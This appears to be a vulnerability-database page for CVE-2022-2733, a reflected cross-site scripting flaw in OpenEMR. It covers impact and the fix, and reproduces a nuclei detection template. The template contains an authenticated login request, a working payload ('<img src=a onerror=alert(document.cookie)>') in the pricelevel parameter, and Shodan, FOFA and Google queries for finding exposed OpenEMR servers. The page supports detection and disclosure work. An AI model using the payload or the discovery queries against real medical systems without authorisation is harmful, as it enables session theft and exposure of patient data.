CVE-2022-2733· open-emr / openemr· CWE-79
Openemr < 7.0.0.1 - Cross-Site Scripting
mediumseverity
6.1CVSS score
95.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.1.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade Openemr to version 7.0.0.1 or later to mitigate this vulnerability.
How to confirm it
Send: POST /interface/main/main_screen.php?auth=login&site=default ; GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E
Positive when: contains "<img src=a onerror=alert(document.cookie)>" and "pricelevel" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-2733 -u <target>
The full check
id: CVE-2022-2733
info:
name: Openemr < 7.0.0.1 - Cross-Site Scripting
author: ctflearner
severity: medium
description: |
Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.1.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade Openemr to version 7.0.0.1 or later to mitigate this vulnerability.
reference:
- https://huntr.dev/bounties/25b91301-dfb0-4353-a732-e051bbe8420c/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2733
- https://github.com/openemr/openemr/commit/59458bc15ab0cb556c521de9d5187167d6f88945
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-2733
cwe-id: CWE-79
epss-score: 0.95859
epss-percentile: 0.99874
cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: open-emr
product: openemr
shodan-query:
- title:"OpenEMR"
- http.html:"openemr"
- http.title:"openemr"
- http.favicon.hash:1971268439
fofa-query:
- icon_hash=1971268439
- body="openemr"
- title="openemr"
- app="openemr"
google-query: intitle:"openemr"
tags: cve,cve2022,xss,openemr,authenticated,huntr,open-emr,vuln
http:
- raw:
- |
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}/interface/login/login.php?site=default
new_login_session_management=1&languageChoice=1&authUser={{username}}&clearPass={{password}}&languageChoice=1
- |
GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=a onerror=alert(document.cookie)>'
- 'pricelevel'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://huntr.dev/bounties/25b91301-dfb0-4353-a732-e051bbe8420c/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2733
- https://github.com/openemr/openemr/commit/59458bc15ab0cb556c521de9d5187167d6f88945
Use this check only on systems you are authorised to test. Where the data comes from